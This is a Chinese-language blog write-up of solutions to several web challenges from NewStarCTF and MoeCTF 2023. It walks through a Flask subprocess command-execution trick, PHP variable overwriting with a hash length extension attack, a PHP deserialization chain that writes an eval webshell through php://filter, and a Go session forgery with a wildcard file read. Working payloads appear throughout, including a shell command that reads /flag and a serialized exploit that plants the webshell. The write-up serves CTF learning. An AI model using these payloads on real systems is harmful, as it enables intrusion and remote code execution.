NewStars Moe CTF2023

分享一下最近再BUU打的NewStarCTF以及MoeCTF

这里主要说一下难题的解题过程

ez_rce

题目提示攻击子进程调用,查看一下app里代码

所以考察进程模块实现命令执行

from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp,i)
    return tmp

def sett(obj,arg,num):
    tmp = obj
    for i in range(len(arg)-1):
        tmp = getattr(tmp,arg[i])
    setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
    c = gett(subprocess,giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess,giveme,tmp)

def cmd(arg):
    subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
    try:
        if request.args.get('exec')=='ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp,num,bol)
        return 'ok'
    except:
        return 'error'
    
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

打开题目环境发现:

只有一个error,首先进行代码审计

存在exec0方法,如果接收参数exec值为ok,那么将接收GET参数shell,然后执行作为参数传入cmd0方法里; 否则从请求的JSON 数据中获取名为 exp 的字段值,并将其转换为列表类型,获取GET参数num并转为int型,接收GET参数bol并转为布尔型,执行hint方法,包括gett函数去遍历获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值,然后返回ok,

所以根据审计后的代码找到命令执行的subprecess.call函数

网上随便找到一个

发现call函数会返回一个Popen方法

发现Popen方法里有一个默认构造参数默认shel为False,

函数默认保存在defaults属性当中,如果让shell为True的话就可以进行命令执行

这里可以用postman进行接口测试,随便给exec赋值进行else判断,exp根据call函数进行赋值需要经过gett进行遍历格式为数组

根据

成功后就可以进行命令执行

可以构造exp

?exec=ok&shell=mkdir%20./static;cat%20/flag>./static/1.txt

num要对照第八个令其返回true(同为字符串返回为True)

访问可得到flag

MD5的事就拜托了

 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
} 

此题考察变量覆盖以及哈希拓展攻击

先说第一个if,可以通过一些构造通过变量覆盖返回flag的md5值

$scheme=host
$$scheme=$host=user
$$$scheme=$$host=$user=SHCTF

故而可以构造:

SHCTF=host://SHCTF:1@user

绕过intval函数可以通过无限小数1.222222222222绕过的出flag的长度

之后用到hash_ext_attack脚本

直接构造:

之后拿到flag

sseerriiaalliizzee

打开题目:

 <?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 
no way, fuck off 

难度主要在于如何绕过die方法

构造pop链

Start.__construct() --> Flag.dosomething() --> Start__toString() --> CTF.dosomething()

这里也是通过百度发现,可以通过strip_tags绕过,因为这个代码实际是xml标签可以利用strip_tags函数去除,并且用到php://filter协议,通过strip_tages去除exit

直接构造exp:

<?php
class Start{
    public $barking;

}
class CTF{ 
    public $part1;
    public $part2;
}

$a=new Start();
$c=new CTF();
$a->barking=$c;
$c->part1='php://filter/string.strip_tags|convert.base64-decode/resource=shell.php';
$c->part2='PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+';
echo serialize($a);
?> 

直接flag出

gogogo

好家伙跟我之前打2023CISCN有道题一样  go_session,也是通过伪造admin的session

好那就再写一次,题源码已经给出

亚麻呆住,跟那道国赛题差不多一样

也是启动环境设置代理

go env -w GOPROXY=https://goproxy.io,direct

更改index函数代码

直接就需要run一下

成功监听到了

我这里也是返回200值

取出这里头cookie即可

然后再去读那个

func Readflag(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == "admin" {
		c.String(200, "Congratulation! You are admin,But how to get flag?\n")

		path := c.Query("filename")

		reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)

		if reg.MatchString(path) {

			http.Error(c.Writer, "nonono", http.StatusInternalServerError)
			return
		}

		var data []byte
		if path != "" {
			data = readfile.ReadFile(path)
		} else {
			data = []byte("请传入参数")
		}

		c.JSON(200, gin.H{
			"success": "read: " + string(data),
		})
	} else {
		c.String(200, "Hello, User. How to become admin?")
	}

}

不难发现有个a可以进行读取还有?

直接通过??a?(通配符)读取flag

Moectf

很多东西要去写的时候发现环境没了,我之前写的wp因为服务器原因也没了(所买的云服务器因为地区数据清空了可怜我写了两个月的blog)

只能附上其他佬的wp了:https://github.com/XDSEC/MoeCTF_2023/blob/main/WriteUps/TT/WEB.mdicon-default.png?t=N7T8https://github.com/XDSEC/MoeCTF_2023/blob/main/WriteUps/TT/WEB.md

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值